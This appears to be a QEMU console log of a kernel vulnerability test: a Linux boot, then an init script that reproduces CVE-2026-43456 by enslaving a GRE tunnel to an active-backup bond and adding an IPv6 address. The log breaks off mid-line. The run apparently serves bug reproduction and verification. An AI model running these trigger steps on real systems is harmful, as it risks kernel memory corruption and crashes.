=== VULN run start 2026-07-03T09:12:02+00:00 === c[?7lSeaBIOS (version 1.17.0-debian-1.17.0-1ubuntu1) iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+BEFC8B80+BEF08B80 CA00 Press Ctrl-B to configure iPXE (PCI 00:03.0)... Booting from ROM... c[?7l[ 0.000000] Linux version 6.18.18 (vscode@70a156dd6cfb) (gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, GNU ld (GNU Binutils for Ubuntu) 2.46) #1 SMP PREEMPT_DYNAMIC Fri Jul 3 09:09:05 UTC 2026 [ 0.000000] Command line: root=/dev/vda rootwait init=/init console=ttyS0,115200 panic=1 oops=panic loglevel=7 nokaslr rw [ 0.000000] BIOS-provided physical RAM map: [ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] usable [ 0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] reserved [ 0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] reserved [ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x00000000bffdcfff] usable [ 0.000000] BIOS-e820: [mem 0x00000000bffdd000-0x00000000bfffffff] reserved [ 0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] reserved [ 0.000000] BIOS-e820: [mem 0x0000000100000000-0x000000013fffffff] usable [ 0.000000] BIOS-e820: [mem 0x000000fd00000000-0x000000ffffffffff] reserved [ 0.000000] NX (Execute Disable) protection: active [ 0.000000] APIC: Static calls initialized [ 0.000000] SMBIOS 2.8 present. [ 0.000000] DMI: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 0.000000] DMI: Memory slots populated: 1/1 [ 0.000000] tsc: Fast TSC calibration using PIT [ 0.000000] tsc: Detected 3000.100 MHz processor [ 0.022376] last_pfn = 0x140000 max_arch_pfn = 0x400000000 [ 0.023021] MTRR map: 4 entries (3 fixed + 1 variable; max 19), built from 8 variable MTRRs [ 0.023263] x86/PAT: Configuration [0-7]: WB WC UC- UC WB WP UC- WT [ 0.024137] last_pfn = 0xbffdd max_arch_pfn = 0x400000000 [ 0.040988] found SMP MP-table at [mem 0x000f5450-0x000f545f] [ 0.057369] ACPI: Early table checksum verification disabled [ 0.057978] ACPI: RSDP 0x00000000000F5250 000014 (v00 BOCHS ) [ 0.058333] ACPI: RSDT 0x00000000BFFE2452 000034 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.059240] ACPI: FACP 0x00000000BFFE22EE 000074 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.060005] ACPI: DSDT 0x00000000BFFE0040 0022AE (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.060218] ACPI: FACS 0x00000000BFFE0000 000040 [ 0.060321] ACPI: APIC 0x00000000BFFE2362 000090 (v03 BOCHS BXPC 00000001 BXPC 00000001) [ 0.060438] ACPI: HPET 0x00000000BFFE23F2 000038 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.060534] ACPI: WAET 0x00000000BFFE242A 000028 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.060688] ACPI: Reserving FACP table memory at [mem 0xbffe22ee-0xbffe2361] [ 0.060742] ACPI: Reserving DSDT table memory at [mem 0xbffe0040-0xbffe22ed] [ 0.060773] ACPI: Reserving FACS table memory at [mem 0xbffe0000-0xbffe003f] [ 0.060801] ACPI: Reserving APIC table memory at [mem 0xbffe2362-0xbffe23f1] [ 0.060830] ACPI: Reserving HPET table memory at [mem 0xbffe23f2-0xbffe2429] [ 0.060858] ACPI: Reserving WAET table memory at [mem 0xbffe242a-0xbffe2451] [ 0.066747] No NUMA configuration found [ 0.066796] Faking a node at [mem 0x0000000000000000-0x000000013fffffff] [ 0.067642] NODE_DATA(0) allocated [mem 0x13fff9900-0x13fffcfff] [ 0.069735] Zone ranges: [ 0.069773] DMA [mem 0x0000000000001000-0x0000000000ffffff] [ 0.069874] DMA32 [mem 0x0000000001000000-0x00000000ffffffff] [ 0.069916] Normal [mem 0x0000000100000000-0x000000013fffffff] [ 0.069956] Movable zone start for each node [ 0.069987] Early memory node ranges [ 0.070016] node 0: [mem 0x0000000000001000-0x000000000009efff] [ 0.070235] node 0: [mem 0x0000000000100000-0x00000000bffdcfff] [ 0.070294] node 0: [mem 0x0000000100000000-0x000000013fffffff] [ 0.070470] Initmem setup node 0 [mem 0x0000000000001000-0x000000013fffffff] [ 0.072818] On node 0, zone DMA: 1 pages in unavailable ranges [ 0.076056] On node 0, zone DMA: 97 pages in unavailable ranges [ 0.837067] On node 0, zone Normal: 35 pages in unavailable ranges [ 1.259979] KernelAddressSanitizer initialized (generic) [ 1.260677] ACPI: PM-Timer IO Port: 0x608 [ 1.261315] ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1]) [ 1.261971] IOAPIC[0]: apic_id 0, version 32, address 0xfec00000, GSI 0-23 [ 1.262226] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl) [ 1.262621] ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level) [ 1.262703] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level) [ 1.262823] ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level) [ 1.262861] ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level) [ 1.263164] ACPI: Using ACPI (MADT) for SMP configuration information [ 1.263254] ACPI: HPET id: 0x8086a201 base: 0xfed00000 [ 1.263784] CPU topo: Max. logical packages: 1 [ 1.263824] CPU topo: Max. logical dies: 1 [ 1.263848] CPU topo: Max. dies per package: 1 [ 1.263937] CPU topo: Max. threads per core: 1 [ 1.264153] CPU topo: Num. cores per package: 4 [ 1.264192] CPU topo: Num. threads per package: 4 [ 1.264214] CPU topo: Allowing 4 present CPUs plus 0 hotplug CPUs [ 1.265356] PM: hibernation: Registered nosave memory: [mem 0x00000000-0x00000fff] [ 1.265473] PM: hibernation: Registered nosave memory: [mem 0x0009f000-0x000fffff] [ 1.265523] PM: hibernation: Registered nosave memory: [mem 0xbffdd000-0xffffffff] [ 1.265667] [mem 0xc0000000-0xfffbffff] available for PCI devices [ 1.265750] Booting paravirtualized kernel on bare hardware [ 1.266162] clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1910969940391419 ns [ 1.397820] setup_percpu: NR_CPUS:64 nr_cpumask_bits:4 nr_cpu_ids:4 nr_node_ids:1 [ 1.401926] percpu: Embedded 64 pages/cpu s222360 r8192 d31592 u524288 [ 1.405074] Kernel command line: root=/dev/vda rootwait init=/init console=ttyS0,115200 panic=1 oops=panic loglevel=7 nokaslr rw [ 1.408473] Unknown kernel command line parameters "nokaslr", will be passed to user space. [ 1.408854] printk: log buffer data + meta data: 262144 + 917504 = 1179648 bytes [ 1.412632] Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes, linear) [ 1.414099] Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes, linear) [ 1.418316] software IO TLB: area num 4. [ 1.481522] Fallback order for Node 0: 0 [ 1.482027] Built 1 zonelists, mobility grouping on. Total pages: 1048443 [ 1.482124] Policy zone: Normal [ 1.482437] mem auto-init: stack:all(zero), heap alloc:off, heap free:off [ 1.482515] stackdepot: allocating hash table via alloc_large_system_hash [ 1.482650] stackdepot hash table entries: 1048576 (order: 12, 16777216 bytes, linear) [ 1.505102] stackdepot: allocating space for 8192 stack pools via memblock [ 1.763363] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=4, Nodes=1 [ 1.785732] Dynamic Preempt: voluntary [ 1.801976] rcu: Preemptible hierarchical RCU implementation. [ 1.802021] rcu: RCU event tracing is enabled. [ 1.802082] rcu: RCU restricting CPUs from NR_CPUS=64 to nr_cpu_ids=4. [ 1.802214] Trampoline variant of Tasks RCU enabled. [ 1.802233] Tracing variant of Tasks RCU enabled. [ 1.802382] rcu: RCU calculated value of scheduler-enlistment delay is 100 jiffies. [ 1.802468] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=4 [ 1.805282] RCU Tasks: Setting shift to 2 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=4. [ 1.805415] RCU Tasks Trace: Setting shift to 2 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=4. [ 2.266559] NR_IRQS: 4352, nr_irqs: 456, preallocated irqs: 16 [ 2.281600] rcu: srcu_init: Setting srcu_struct sizes based on contention. [ 2.291653] Console: colour VGA+ 80x25 [ 2.294372] printk: legacy console [ttyS0] enabled [ 2.318641] ACPI: Core revision 20250807 [ 2.330565] clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns [ 2.337848] APIC: Switch to symmetric I/O mode setup [ 2.347462] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1 [ 2.354669] clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0x2b3ea3a8bae, max_idle_ns: 440795216488 ns [ 2.355573] Calibrating delay loop (skipped), value calculated using timer frequency.. 6000.20 BogoMIPS (lpj=3000100) [ 2.360148] Last level iTLB entries: 4KB 512, 2MB 255, 4MB 127 [ 2.360484] Last level dTLB entries: 4KB 512, 2MB 255, 4MB 127, 1GB 0 [ 2.361023] mitigations: Enabled attack vectors: user_kernel, user_user, SMT mitigations: auto [ 2.361895] Spectre V2 : Mitigation: Retpolines [ 2.362533] Spectre V1 : Mitigation: usercopy/swapgs barriers and __user pointer sanitization [ 2.362923] Spectre V2 : Spectre v2 / SpectreRSB: Filling RSB on context switch and VMEXIT [ 2.366489] x86/fpu: x87 FPU will use FXSAVE [ 2.843780] Freeing SMP alternatives memory: 52K [ 2.845047] pid_max: default: 32768 minimum: 301 [ 2.855831] LSM: initializing lsm=capability,selinux [ 2.859359] SELinux: Initializing. [ 2.871432] Mount-cache hash table entries: 8192 (order: 4, 65536 bytes, linear) [ 2.872444] Mountpoint-cache hash table entries: 8192 (order: 4, 65536 bytes, linear) [ 3.026233] smpboot: CPU0: AMD QEMU Virtual CPU version 2.5+ (family: 0xf, model: 0x6b, stepping: 0x1) [ 3.050649] Performance Events: PMU not available due to virtualization, using software events only. [ 3.052425] signal: max sigframe size: 1440 [ 3.054982] rcu: Hierarchical SRCU implementation. [ 3.055283] rcu: Max phase no-delay instances is 400. [ 3.059295] Timer migration: 1 hierarchy levels; 8 children per group; 1 crossnode level [ 3.083099] smp: Bringing up secondary CPUs ... [ 3.097546] smpboot: x86: Booting SMP configuration: [ 3.097798] .... node #0, CPUs: #1 #2 #3 [ 3.318912] smp: Brought up 1 node, 4 CPUs [ 3.320401] smpboot: Total of 4 processors activated (24000.47 BogoMIPS) [ 3.344813] Memory: 3434476K/4193772K available (28106K kernel code, 8962K rwdata, 11980K rodata, 5644K init, 2064K bss, 754396K reserved, 0K cma-reserved) [ 3.365720] devtmpfs: initialized [ 3.434671] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1911260446275000 ns [ 3.436758] posixtimers hash table entries: 2048 (order: 3, 32768 bytes, linear) [ 3.437823] futex hash table entries: 1024 (65536 bytes on 1 NUMA nodes, total 64 KiB, linear). [ 3.445987] PM: RTC time: 09:12:06, date: 2026-07-03 [ 3.459669] NET: Registered PF_NETLINK/PF_ROUTE protocol family [ 3.475705] audit: initializing netlink subsys (disabled) [ 3.480515] audit: type=2000 audit(1783069926.139:1): state=initialized audit_enabled=0 res=1 [ 3.494741] thermal_sys: Registered thermal governor 'step_wise' [ 3.495662] cpuidle: using governor menu [ 3.508380] PCI: Using configuration type 1 for base access [ 3.510785] mtrr: your CPUs had inconsistent fixed MTRR settings [ 3.510981] mtrr: your CPUs had inconsistent variable MTRR settings [ 3.511204] mtrr: your CPUs had inconsistent MTRRdefType settings [ 3.512056] mtrr: probably your BIOS does not setup all CPUs. [ 3.512280] mtrr: corrected configuration. [ 3.517024] kprobes: kprobe jump-optimization is enabled. All kprobes are optimized if possible. [ 3.527922] HugeTLB: registered 2.00 MiB page size, pre-allocated 0 pages [ 3.528332] HugeTLB: 28 KiB vmemmap can be freed for a 2.00 MiB page [ 3.545264] ACPI: Added _OSI(Module Device) [ 3.545577] ACPI: Added _OSI(Processor Device) [ 3.546130] ACPI: Added _OSI(Processor Aggregator Device) [ 4.116734] ACPI: 1 ACPI AML tables successfully acquired and loaded [ 4.211386] ACPI: Interpreter enabled [ 4.214756] ACPI: PM: (supports S0 S3 S4 S5) [ 4.215027] ACPI: Using IOAPIC for interrupt routing [ 4.216950] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug [ 4.217312] PCI: Using E820 reservations for host bridge windows [ 4.243633] ACPI: Enabled 2 GPEs in block 00 to 0F [ 5.153909] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff]) [ 5.155822] acpi PNP0A03:00: _OSC: OS supports [ASPM ClockPM Segments MSI HPX-Type3] [ 5.157376] acpi PNP0A03:00: _OSC: not requesting OS control; OS requires [ExtendedConfig ASPM ClockPM MSI] [ 5.162964] acpi PNP0A03:00: fail to add MMCONFIG information, can't access extended configuration space under this bridge [ 5.176789] PCI host bridge to bus 0000:00 [ 5.179061] pci_bus 0000:00: root bus resource [io 0x0000-0x0cf7 window] [ 5.179797] pci_bus 0000:00: root bus resource [io 0x0d00-0xffff window] [ 5.180349] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window] [ 5.181358] pci_bus 0000:00: root bus resource [mem 0xc0000000-0xfebfffff window] [ 5.181689] pci_bus 0000:00: root bus resource [mem 0xc000000000-0xc07fffffff window] [ 5.182565] pci_bus 0000:00: root bus resource [bus 00-ff] [ 5.185556] pci 0000:00:00.0: [8086:1237] type 00 class 0x060000 conventional PCI endpoint [ 5.211794] pci 0000:00:01.0: [8086:7000] type 00 class 0x060100 conventional PCI endpoint [ 5.232273] pci 0000:00:01.1: [8086:7010] type 00 class 0x010180 conventional PCI endpoint [ 5.234705] pci 0000:00:01.1: BAR 4 [io 0xc0c0-0xc0cf] [ 5.235391] pci 0000:00:01.1: BAR 0 [io 0x01f0-0x01f7]: legacy IDE quirk [ 5.235391] pci 0000:00:01.1: BAR 1 [io 0x03f6]: legacy IDE quirk [ 5.237306] pci 0000:00:01.1: BAR 2 [io 0x0170-0x0177]: legacy IDE quirk [ 5.238330] pci 0000:00:01.1: BAR 3 [io 0x0376]: legacy IDE quirk [ 5.257709] pci 0000:00:01.3: [8086:7113] type 00 class 0x068000 conventional PCI endpoint [ 5.260268] pci 0000:00:01.3: quirk: [io 0x0600-0x063f] claimed by PIIX4 ACPI [ 5.261120] pci 0000:00:01.3: quirk: [io 0x0700-0x070f] claimed by PIIX4 SMB [ 5.279867] pci 0000:00:02.0: [1234:1111] type 00 class 0x030000 conventional PCI endpoint [ 5.281353] pci 0000:00:02.0: BAR 0 [mem 0xfd000000-0xfdffffff pref] [ 5.281708] pci 0000:00:02.0: BAR 2 [mem 0xfebb0000-0xfebb0fff] [ 5.282295] pci 0000:00:02.0: ROM [mem 0xfeba0000-0xfebaffff pref] [ 5.284074] pci 0000:00:02.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff] [ 5.303379] pci 0000:00:03.0: [8086:100e] type 00 class 0x020000 conventional PCI endpoint [ 5.305717] pci 0000:00:03.0: BAR 0 [mem 0xfeb80000-0xfeb9ffff] [ 5.306298] pci 0000:00:03.0: BAR 1 [io 0xc080-0xc0bf] [ 5.307021] pci 0000:00:03.0: ROM [mem 0xfeb00000-0xfeb7ffff pref] [ 5.634119] pci 0000:00:04.0: [1af4:1001] type 00 class 0x010000 conventional PCI endpoint [ 5.636296] pci 0000:00:04.0: BAR 0 [io 0xc000-0xc07f] [ 5.637278] pci 0000:00:04.0: BAR 1 [mem 0xfebb1000-0xfebb1fff] [ 5.637881] pci 0000:00:04.0: BAR 4 [mem 0xc000000000-0xc000003fff 64bit pref] [ 6.031889] ACPI: PCI: Interrupt link LNKA configured for IRQ 10 [ 6.055924] ACPI: PCI: Interrupt link LNKB configured for IRQ 10 [ 6.081796] ACPI: PCI: Interrupt link LNKC configured for IRQ 11 [ 6.107951] ACPI: PCI: Interrupt link LNKD configured for IRQ 11 [ 6.117764] ACPI: PCI: Interrupt link LNKS configured for IRQ 9 [ 6.213636] iommu: Default domain type: Translated [ 6.214327] iommu: DMA domain TLB invalidation policy: lazy mode [ 6.239830] SCSI subsystem initialized [ 6.249271] ACPI: bus type USB registered [ 6.252780] usbcore: registered new interface driver usbfs [ 6.254670] usbcore: registered new interface driver hub [ 6.255912] usbcore: registered new device driver usb [ 6.259645] pps_core: LinuxPPS API ver. 1 registered [ 6.259874] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti [ 6.260709] PTP clock support registered [ 6.271888] Advanced Linux Sound Architecture Driver Initialized. [ 6.304274] NetLabel: Initializing [ 6.304829] NetLabel: domain hash size = 128 [ 6.304996] NetLabel: protocols = UNLABELED CIPSOv4 CALIPSO [ 6.307958] NetLabel: unlabeled traffic allowed by default [ 6.319092] PCI: Using ACPI for IRQ routing [ 6.325164] pci 0000:00:02.0: vgaarb: setting as boot VGA device [ 6.325233] pci 0000:00:02.0: vgaarb: bridge control possible [ 6.325233] pci 0000:00:02.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=none [ 6.327280] vgaarb: loaded [ 6.331662] hpet: 3 channels of 0 reserved for per-cpu timers [ 6.332294] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0 [ 6.332972] hpet0: 3 comparators, 64-bit 100.000000 MHz counter [ 6.343987] clocksource: Switched to clocksource tsc-early [ 6.362700] VFS: Disk quotas dquot_6.6.0 [ 6.364166] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes) [ 6.392180] pnp: PnP ACPI init [ 6.471172] pnp: PnP ACPI: found 6 devices [ 6.681813] clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns [ 6.685281] NET: Registered PF_INET protocol family [ 6.688671] IP idents hash table entries: 65536 (order: 7, 524288 bytes, linear) [ 6.721316] tcp_listen_portaddr_hash hash table entries: 2048 (order: 3, 32768 bytes, linear) [ 6.722732] Table-perturb hash table entries: 65536 (order: 6, 262144 bytes, linear) [ 6.723406] TCP established hash table entries: 32768 (order: 6, 262144 bytes, linear) [ 6.726595] TCP bind hash table entries: 32768 (order: 8, 1048576 bytes, linear) [ 6.730756] TCP: Hash tables configured (established 32768 bind 32768) [ 6.734971] UDP hash table entries: 2048 (order: 5, 131072 bytes, linear) [ 6.736050] UDP-Lite hash table entries: 2048 (order: 5, 131072 bytes, linear) [ 6.744129] NET: Registered PF_UNIX/PF_LOCAL protocol family [ 6.758105] RPC: Registered named UNIX socket transport module. [ 6.758433] RPC: Registered udp transport module. [ 6.758711] RPC: Registered tcp transport module. [ 6.758988] RPC: Registered tcp-with-tls transport module. [ 6.759165] RPC: Registered tcp NFSv4.1 backchannel transport module. [ 6.781982] pci_bus 0000:00: resource 4 [io 0x0000-0x0cf7 window] [ 6.782294] pci_bus 0000:00: resource 5 [io 0x0d00-0xffff window] [ 6.782475] pci_bus 0000:00: resource 6 [mem 0x000a0000-0x000bffff window] [ 6.782716] pci_bus 0000:00: resource 7 [mem 0xc0000000-0xfebfffff window] [ 6.783055] pci_bus 0000:00: resource 8 [mem 0xc000000000-0xc07fffffff window] [ 6.789269] pci 0000:00:01.0: PIIX3: Enabling Passive Release [ 6.789629] pci 0000:00:00.0: Limiting direct PCI/PCI transfers [ 6.790447] PCI: CLS 0 bytes, default 64 [ 6.792157] PCI-DMA: Using software bounce buffering for IO (SWIOTLB) [ 6.792463] software IO TLB: mapped [mem 0x00000000bbfdd000-0x00000000bffdd000] (64MB) [ 6.859397] Initialise system trusted keyrings [ 6.863788] workingset: timestamp_bits=56 max_order=20 bucket_order=0 [ 6.894793] NFS: Registering the id_resolver key type [ 6.896055] Key type id_resolver registered [ 6.896236] Key type id_legacy registered [ 6.901362] 9p: Installing v9fs 9p2000 file system support [ 7.175522] Key type asymmetric registered [ 7.177005] Asymmetric key parser 'x509' registered [ 7.179332] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 251) [ 7.180947] io scheduler mq-deadline registered [ 7.181178] io scheduler kyber registered [ 7.196515] input: Power Button as /devices/LNXSYSTM:00/LNXPWRBN:00/input/input0 [ 7.205964] ACPI: button: Power Button [PWRF] [ 7.720279] ACPI: \_SB_.LNKD: Enabled at IRQ 11 [ 7.734482] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled [ 7.751684] 00:04: ttyS0 at I/O 0x3f8 (irq = 4, base_baud = 115200) is a 16550A [ 7.801104] Non-volatile memory driver v1.3 [ 7.801377] Linux agpgart interface v0.103 [ 7.807377] ACPI: bus type drm_connector registered [ 7.813281] tsc: Refined TSC clocksource calibration: 3000.106 MHz [ 7.814121] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x2b3ea998311, max_idle_ns: 440795342554 ns [ 7.815910] clocksource: Switched to clocksource tsc [ 8.026497] loop: module loaded [ 8.029039] virtio_blk virtio0: 4/0/0 default/read/poll queues [ 8.063741] virtio_blk virtio0: [vda] 408048 512-byte logical blocks (209 MB/199 MiB) [ 8.179757] scsi host0: ata_piix [ 8.195291] scsi host1: ata_piix [ 8.201928] ata1: PATA max MWDMA2 cmd 0x1f0 ctl 0x3f6 bmdma 0xc0c0 irq 14 lpm-pol 0 [ 8.203216] ata2: PATA max MWDMA2 cmd 0x170 ctl 0x376 bmdma 0xc0c8 irq 15 lpm-pol 0 [ 8.236139] e100: Intel(R) PRO/100 Network Driver [ 8.236449] e100: Copyright(c) 1999-2006 Intel Corporation [ 8.237780] e1000: Intel(R) PRO/1000 Network Driver [ 8.238022] e1000: Copyright (c) 1999-2006 Intel Corporation. [ 8.366592] ata2: found unknown device (class 0) [ 8.376633] ata2.00: ATAPI: QEMU DVD-ROM, 2.5+, max UDMA/100 [ 8.396119] scsi 1:0:0:0: CD-ROM QEMU QEMU DVD-ROM 2.5+ PQ: 0 ANSI: 5 [ 8.445817] sr 1:0:0:0: [sr0] scsi3-mmc drive: 4x/4x cd/rw xa/form2 tray [ 8.446815] cdrom: Uniform CD-ROM driver Revision: 3.20 [ 8.509136] sr 1:0:0:0: Attached scsi generic sg0 type 5 [ 8.740924] ACPI: \_SB_.LNKC: Enabled at IRQ 10 [ 9.052567] e1000 0000:00:03.0 eth0: (PCI:33MHz:32-bit) 52:54:00:12:34:56 [ 9.053710] e1000 0000:00:03.0 eth0: Intel(R) PRO/1000 Network Connection [ 9.056016] e1000e: Intel(R) PRO/1000 Network Driver [ 9.056239] e1000e: Copyright(c) 1999 - 2015 Intel Corporation. [ 9.057754] sky2: driver version 1.30 [ 9.077993] usbcore: registered new interface driver usblp [ 9.079545] usbcore: registered new interface driver usb-storage [ 9.082702] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12 [ 9.089573] serio: i8042 KBD port at 0x60,0x64 irq 1 [ 9.090340] serio: i8042 AUX port at 0x60,0x64 irq 12 [ 9.103518] rtc_cmos 00:05: RTC can wake from S4 [ 9.107762] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input1 [ 9.123229] rtc_cmos 00:05: registered as rtc0 [ 9.127631] rtc_cmos 00:05: alarms up to one day, y3k, 242 bytes nvram, hpet irqs [ 9.139804] device-mapper: ioctl: 4.50.0-ioctl (2025-04-28) initialised: dm-devel@lists.linux.dev [ 9.140966] amd_pstate: the _CPC object is not present in SBIOS or ACPI disabled [ 9.143732] hid: raw HID events driver (C) Jiri Kosina [ 9.171502] usbcore: registered new interface driver usbhid [ 9.171723] usbhid: USB HID core driver [ 9.196723] Initializing XFRM netlink socket [ 9.198776] NET: Registered PF_INET6 protocol family [ 9.227685] Segment Routing with IPv6 [ 9.229009] In-situ OAM (IOAM) with IPv6 [ 9.232101] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver [ 9.247547] NET: Registered PF_PACKET protocol family [ 9.250263] 9pnet: Installing 9P2000 support [ 9.251600] Key type dns_resolver registered [ 9.271366] IPI shorthand broadcast: enabled [ 9.557266] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3 [ 9.917626] sched_clock: Marking stable (9859067829, 57801713)->(9942856658, -25987116) [ 9.935754] registered taskstats version 1 [ 9.936111] Loading compiled-in X.509 certificates [ 10.326576] Demotion targets for Node 0: null [ 10.335776] PM: Magic number: 2:352:221 [ 10.336616] netconsole: network logging started [ 10.342572] cfg80211: Loading compiled-in X.509 certificates for regulatory database [ 10.369187] kworker/u16:0 (70) used greatest stack depth: 29312 bytes left [ 10.391807] Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7' [ 10.397820] Loaded X.509 cert 'wens: 61c038651aabdcf94bd0ac7ff06c7248db18c600' [ 10.400148] ALSA device list: [ 10.400397] No soundcards found. [ 10.405274] faux_driver regulatory: Direct firmware load for regulatory.db failed with error -2 [ 10.406322] cfg80211: failed to load regulatory.db [ 10.412625] check access for rdinit=/init failed: -2, ignoring [ 10.413498] md: Waiting for all devices to be available before autodetect [ 10.413686] md: If you don't use raid, use raid=noautodetect [ 10.413957] md: Autodetecting RAID arrays. [ 10.414133] md: autorun ... [ 10.414276] md: ... autorun DONE. [ 10.438590] EXT4-fs (vda): mounting ext2 file system using the ext4 subsystem [ 10.497662] EXT4-fs (vda): mounted filesystem 00000000-0000-0000-0000-000000000000 r/w without journal. Quota mode: none. [ 10.552308] ext2 filesystem being mounted at /root supports timestamps until 2038-01-19 (0x7fffffff) [ 10.553642] VFS: Mounted root (ext2 filesystem) on device 253:0. [ 10.572137] devtmpfs: mounted [ 10.677226] Freeing unused kernel image (initmem) memory: 5644K [ 10.677973] Write protecting the kernel read-only data: 40960k [ 10.684665] Freeing unused kernel image (text/rodata gap) memory: 564K [ 10.686233] Freeing unused kernel image (rodata/data gap) memory: 308K [ 11.257597] x86/mm: Checked W+X mappings: passed, no W+X pages found. [ 11.260097] Run /init as init process [init] === CVE-2026-43456 bonding header_ops type-confusion trigger === [init] cmd: uname -r 6.18.18 [ 11.795459] uname (77) used greatest stack depth: 26568 bytes left [ 11.807018] sh (76) used greatest stack depth: 26224 bytes left [init] cmd: cat /proc/version Linux version 6.18.18 (vscode@70a156dd6cfb) (gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, GNU ld (GNU Binutils for Ubuntu) 2.46) #1 SMP PREEMPT_DYNAMIC Fri Jul 3 09:09:05 UTC 2026 [init] STEP: loading modules [init] cmd: /sbin/modprobe bonding 2>&1 || /sbin/insmod /root/mods/bonding.ko 2>&1 || true [ 12.395766] modprobe (81) used greatest stack depth: 24960 bytes left [init] cmd: /sbin/modprobe dummy 2>&1 || /sbin/insmod /root/mods/dummy.ko 2>&1 || true [init] cmd: /sbin/modprobe ip_gre 2>&1 || /sbin/insmod /root/mods/ip_gre.ko 2>&1 || true [ 12.641617] gre: GRE over IPv4 demultiplexer driver [ 12.669543] ip_gre: GRE over IPv4 tunneling driver [init] cmd: /sbin/modprobe gre 2>&1 || true [init] cmd: /sbin/modprobe ip_tunnel 2>&1 || true [init] STEP: dummy0 underlay (10.0.0.1/24) [init] cmd: /sbin/ip link set lo up [init] cmd: /sbin/ip link add dummy0 type dummy RTNETLINK answers: File exists [init] cmd rc=512 (/sbin/ip link add dummy0 type dummy): Device or resource busy [init] cmd: /sbin/ip addr add 10.0.0.1/24 dev dummy0 [init] cmd: /sbin/ip link set dummy0 up [init] STEP: gre1 (local 10.0.0.1, no remote) + bond1 active-backup [init] cmd: /sbin/ip link add gre1 type gre local 10.0.0.1 [init] cmd: /sbin/ip link add bond1 type bond mode active-backup [init] STEP: enslave gre1 -> bond1 (bond_setup_by_slave copies header_ops) [init] cmd: /sbin/ip link set gre1 master bond1 [ 13.840266] bond1: (slave gre1): The slave device specified does not support setting the MAC address [ 13.840799] bond1: (slave gre1): Setting fail_over_mac to active for active-backup mode [ 13.858783] bond1: (slave gre1): making interface the new active one [ 13.861923] bond1: (slave gre1): Enslaving as an active interface with an up link [init] cmd: /sbin/ip link set gre1 up [init] cmd: /sbin/ip link set bond1 up [ 14.084430] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] cmd: /sbin/ip -d link show bond1 2>&1 || true 10: bond1: mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000 link/gre 10.0.0.1 brd 0.0.0.0 promiscuity 0 allmulti 0 minmtu 68 maxmtu 65535 bond mode active-backup active_slave gre1 miimon 0 updelay 0 downdelay 0 peer_notify_delay 0 use_carrier 1 arp_interval 0 arp_missed_max 2 arp_validate none arp_all_targets any primary_reselect always fail_over_mac active xmit_hash_policy layer2 resend_igmp 1 num_grat_arp 1 all_slaves_active 0 min_links 0 lp_interval 1 packets_per_slave 1 lacp_active on lacp_rate slow ad_select stable tlb_dynamic_lb 1 addrgenmode eui64 numtxqueues 16 numrxqueues 16 gso_max_size 65536 gso_max_segs 65535 tso_max_size 65536 tso_max_segs 65535 gro_max_size 65536 [init] STEP: IPv6 link-local fe80::1/64 on bond1 (NDP/DAD path) [init] cmd: /sbin/ip addr add fe80::1/64 dev bond1 2>&1 || true [ 14.262656] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 14.303629] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 14.533977] ip_gre: CVE-2026-43456 